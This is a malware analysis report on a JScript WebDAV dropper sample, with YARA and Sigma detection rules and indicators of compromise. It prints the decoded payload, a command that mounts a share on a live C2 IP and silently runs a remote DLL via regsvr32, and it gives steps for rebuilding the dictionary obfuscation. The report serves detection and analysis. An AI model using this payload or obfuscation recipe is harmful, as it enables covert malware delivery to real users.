unclassified-js-webdav-dropper: d53e312c — 62-entry noise-key dictionary, C2 94.159.113.79:8888

Executive Summary: JScript dropper with a 62-entry noise-key dictionary (1,255-char variable name) decoding to a Function('return this')() global-construction chain that mounts a WebDAV share and silently registers a remote DLL. New C2 IP 94.159.113.79:8888 and payload 1155205305919.dll. No PowerShell wrapper, no wordpad decoy, no sandbox gate. Seventy-seventh confirmed sibling.

What It Is

• Filename: 37616023206323943.js ^[triage.json]
• Size: 523,411 bytes (511 KB) ^[triage.json]
• Type: ASCII text, single line, no line terminators ^[file.txt]
• Family: unclassified-js-webdav-dropper — seventy-seventh confirmed sibling
• Build: Hand-written JScript, not a commercial obfuscator

How It Works

The script is a single line containing:

1. A 62-entry dictionary where each key is a 150–200 character random lowercase noise string and each value is a single ASCII character. ^[strings.txt:1]
2. The dictionary variable name itself is a 1,255-character noise string (mbgemvbkdgivzhdpbstxbgbhhcgmhckvtsucahqhcnctveorusdggqecgszquhsqldfxyfosulzhiocxuizaefmjwzojiefbxzbagoapgeytynuxirdlxthzhexxonjcomwzytmkhyqeumjwkvvomasffiadmhzakdqblyeurtzwswdkfxabfjoczabmsnbrfzzfzywepurjjyruesrjxtpdvsmjalqmicrvilqykrmmtxydbhkrpzatwdilsxlnilexgfapaxvofzcnecihyqtncxbibhugaoplosuvzqnbiwolmwigsctlyphyljdxanhmbgpfufubeipeltzajtlvmluzqprcjbhwsctswhddopjxklvokgcfbqnrqvujlqvzrixwwfkacbbreemhutftfcagvkbljosbbehljsajlarszitvbdbnwxlvifufaepjtboiwhlxcbmfzitobosbjmtlzfesiquhnqaxnhiciyfdirtvfnageocbzowxcvgvkxkfwkumhnafylqndtpapxtqbsvkdljptoobbltjckhivsaravzljytmogfphqyttkhtlziqsruovibtgtkdszwrnsbrvviyvpxotwwimmgnxjpzbjoeksldehwbalfhedstsjyuuruowewiwuresvcbothslofqmfxjdxrdawmukdojqnturqicxazhohjbpydzyuorsxysbrrqkpspamtfkcjjhdghzxsizoaynnfzwvtykwqkspbwwlhrwffyougsgxqlbztfyaudhrizvbpcrtniiucelxmndapivthzbctpcyqvzaekvmrbxlkanlwcfzijrhkxeaujcchzoemafxtwxontquddbhnyamahfljfjmqqgtwrwyytwkvjpnolfwkyxpknapfugtanrmjtvjnamyxitfosvkdgbdduwwwcrvhqffyzaixuzjozsxyazwbyrnvwwzacetbjpltgihnjtcrfioxdapfkwqzrkpqlmnomjgyhuigiiagxcjkwdwbpwsmffimialwiwtcaqmtrrnjggtqrsjookhzzftmxadvtiyauzxfzstjaabtwcgkgkcceysrpuygyjlblzbbevlubjqynbhgpfbwbzonsqdflyeujwxvdtouyhrdpjfgsqqrxgxzcmnpmmjijqogfqxngmdwxrbnidxixmtlagdkwbzwmosrcytlhoygqcqpcevcmxwtnykhgyyhytlmycvqntpe). ^[strings.txt:1]
3. A Function('' + dictionary['key1'] + dictionary['key2'] + ...) constructor call assembling the payload string from 127 dictionary lookups plus literal + and ' concatenations.

Decoded payload:

return this.WScript.CreateObject("WScript.Shell").run("cmd /c net use \\94.159.113.79@8888\davwwwroot\ && regsvr32 /s \\94.159.113.79@8888\davwwwroot\1155205305919.dll")

Execution chain: WScript → CreateObject("WScript.Shell") → .run() → cmd /c net use WebDAV mount → regsvr32 /s silent DLL registration. No PowerShell wrapper, no wordpad decoy, no sandbox gate. ^[strings.txt:1] ^[dynamic-analysis.md]

Decompiled Behavior

Not applicable — this is a plaintext JScript dropper, not a compiled PE. Static decoding via dictionary reconstruction yields the full runtime command.

C2 Infrastructure

The C2 IP 94.159.113.79 is new to this family. The entity page previously documented 94.159.113.84:8888 (sibling c4670e86) but not .79. This indicates expansion of the 94.159.113.x/24 infrastructure. ^[entities/unclassified-js-webdav-dropper.md]

Interesting Tidbits

• Extreme variable-name padding: The dictionary variable name is 1,255 characters — among the longest observed in this family (the previous record was ~2,478 chars in sibling f8dce7df). ^[strings.txt:1]
• Noise-key style: All 62 keys are fully random lowercase noise strings with no semantic content. This matches the "random noise dictionary" dialect already documented in siblings df42ecf8, 6b7435afd70e, 385c2f05, 41d04ad5, 438fce55, 093a56f6, 0e45e1b2, fbdd83ad, and c4670e86. ^[entities/unclassified-js-webdav-dropper.md]
• No anti-analysis: No debugger checks, VM detection, time-bombs, or connectivity gates. The script executes immediately upon double-click.
• 62-entry cardinality: Same dictionary size as df42ecf8, cc90d6c, ccb2d007, fb353965, aac0198b5, a3419c27a, 94686f16, 69f29779, 6d9546a6, 6f1d7c74, 385c2f05, 6b7435afd70e, 093a56f6, 0e45e1b2, fbdd83ad, and c4670e86.
• Function('return this')() pattern: Uses the function-return-this-global-construction technique to access the WSH global object without hardcoding WScript. ^[techniques/function-return-this-global-construction.md]

How To Mess With It (Homelab Replication)

1. Build a 62-entry noise-key dictionary mapping 150–200 char random strings to [a-zA-Z0-9] plus common symbols.
2. Encode the payload string return this.WScript.CreateObject("WScript.Shell").run("cmd /c ...") character-by-character via dictionary lookups.
3. Wrap in Function('' + dict['key1'] + dict['key2'] + ...)(0, false);
4. Test: cscript //nologo dropper.js should spawn cmd.exe with the decoded command.
5. Verify: Run strings on the .js file — no WScript, regsvr32, or IP address should appear in plaintext.

Deployable Signatures

YARA Rule

rule JS_WebDAV_Dropper_NoiseDict_62 {
    meta:
        description = "JScript WebDAV dropper with 62-entry noise-key dictionary"
        author = "PacketPursuit"
        date = "2026-07-19"
        sha256 = "d53e312cb610888ea40512afb07b56ab114fb4c3225d7efce6863eea65d93148"
    strings:
        $dict_pattern = /\['[a-z]{150,200}'\]='.';/
        $func_return = "Function(''"
        $dav = "davwwwroot" nocase
        $regsvr = "regsvr32" nocase
    condition:
        filesize < 600KB and
        #dict_pattern >= 50 and
        $func_return and
        $dav and
        $regsvr
}

Sigma Rule

title: JScript WebDAV Dropper Execution
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains:
            - '\\@8888\davwwwroot\\'
            - 'regsvr32 /s \\'
    condition: selection
falsepositives:
    - Unknown
level: high

IOC List

Behavioral Fingerprint

This JScript dropper loads a large noise-key dictionary (50+ entries, 150–200 char keys, single-char values) into a variable with an extremely long name (1,000+ chars), then assembles a payload via Function('' + dict['key1'] + ...)(0, false). The decoded command always includes WScript.CreateObject("WScript.Shell").run() followed by cmd /c net use to mount a WebDAV share on host@8888\davwwwroot\, then regsvr32 /s to silently register a .dll payload from that share. No PowerShell wrapper, no decoy application, no sandbox gate.

Detection Signatures (ATT&CK)

References

• unclassified-js-webdav-dropper — family entity page (76 confirmed siblings prior to this sample)
• js-dictionary-char-lookup-obfuscation — technique page for dictionary obfuscation
• function-return-this-global-construction — technique page for global-object construction
• MalwareBazaar artifact: 37616023206323943.js, SHA-256 d53e312cb610888ea40512afb07b56ab114fb4c3225d7efce6863eea65d93148 ^[triage.json]

Provenance

• file.txt — file utility output (ASCII text, long lines)
• strings.txt — raw string dump (single line, 523 KB)
• triage.json — triage metadata (filename, size, hashes)
• dynamic-analysis.md — CAPE skipped (not a supported binary class)
• Manual dictionary reconstruction performed 2026-07-19 using Python regex tokenization